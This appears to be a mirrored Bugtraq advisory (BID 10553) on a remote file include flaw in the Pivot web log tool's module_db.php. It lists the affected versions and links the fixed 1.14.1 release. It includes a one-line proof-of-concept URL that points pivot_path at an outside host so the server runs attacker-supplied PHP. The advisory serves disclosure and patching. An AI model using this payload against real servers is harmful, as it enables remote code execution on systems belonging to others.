Pivot Remote module_db.PHP File Include Vulnerability
BID:10553
Info
Pivot Remote module_db.PHP File Include Vulnerability
| Bugtraq ID: | 10553 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 15 2004 12:00AM |
| Updated: | Jun 15 2004 12:00AM |
| Credit: | Discovery of this issue is credited to "loofus" <[email protected]>. |
| Vulnerable: |
Pivot Web Log Tool 1.10 Pivot Web Log Tool 1.0 02 Pivot Web Log Tool 1.0 RC2 Pivot Web Log Tool 1.0 RC1 Pivot Web Log Tool 1.0 Final Pivot Web Log Tool 1.0 beta2b Pivot Web Log Tool 1.0 beta2 |
| Not Vulnerable: |
Pivot Web Log Tool 1.14 |
Discussion
Pivot Remote module_db.PHP File Include Vulnerability
It has been reported that Pivot is affected by a remote file include vulnerability contained within the module_db.php script. This issue is due to a failure of the application to properly sanitize user-supplied input before including it as a parameter to a file include function call.
This issue may be exploited to force the affected application to execute attacker supplied PHP script code. This may allow for command execution on the underlying system as well as other attacks.
It has been reported that Pivot is affected by a remote file include vulnerability contained within the module_db.php script. This issue is due to a failure of the application to properly sanitize user-supplied input before including it as a parameter to a file include function call.
This issue may be exploited to force the affected application to execute attacker supplied PHP script code. This may allow for command execution on the underlying system as well as other attacks.
Exploit / POC
Pivot Remote module_db.PHP File Include Vulnerability
No exploit is required to leverage this issue. The following proof of concept has been provided:
http://www.example.com/pivot/modules/module_db.php?pivot_path=http://www.example.org/
No exploit is required to leverage this issue. The following proof of concept has been provided:
http://www.example.com/pivot/modules/module_db.php?pivot_path=http://www.example.org/
Solution / Fix
Pivot Remote module_db.PHP File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Pivot Web Log Tool 1.0 beta2b
Pivot Web Log Tool 1.0 RC1
Pivot Web Log Tool 1.0 beta2
Pivot Web Log Tool 1.0 RC2
Pivot Web Log Tool 1.0 02
Pivot Web Log Tool 1.0 Final
Pivot Web Log Tool 1.10
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Pivot Web Log Tool 1.0 beta2b
-
Pivot Pivot_1.14.1_full.zip
https://sourceforge.net/project/showfiles.php?group_id=67653&package_i d=65955&release_id=245757
Pivot Web Log Tool 1.0 RC1
-
Pivot Pivot_1.14.1_full.zip
https://sourceforge.net/project/showfiles.php?group_id=67653&package_i d=65955&release_id=245757
Pivot Web Log Tool 1.0 beta2
-
Pivot Pivot_1.14.1_full.zip
https://sourceforge.net/project/showfiles.php?group_id=67653&package_i d=65955&release_id=245757
Pivot Web Log Tool 1.0 RC2
-
Pivot Pivot_1.14.1_full.zip
https://sourceforge.net/project/showfiles.php?group_id=67653&package_i d=65955&release_id=245757
Pivot Web Log Tool 1.0 02
-
Pivot Pivot_1.14.1_full.zip
https://sourceforge.net/project/showfiles.php?group_id=67653&package_i d=65955&release_id=245757
Pivot Web Log Tool 1.0 Final
-
Pivot Pivot_1.14.1_full.zip
https://sourceforge.net/project/showfiles.php?group_id=67653&package_i d=65955&release_id=245757
Pivot Web Log Tool 1.10
-
Pivot Pivot_1.14.1_full.zip
https://sourceforge.net/project/showfiles.php?group_id=67653&package_i d=65955&release_id=245757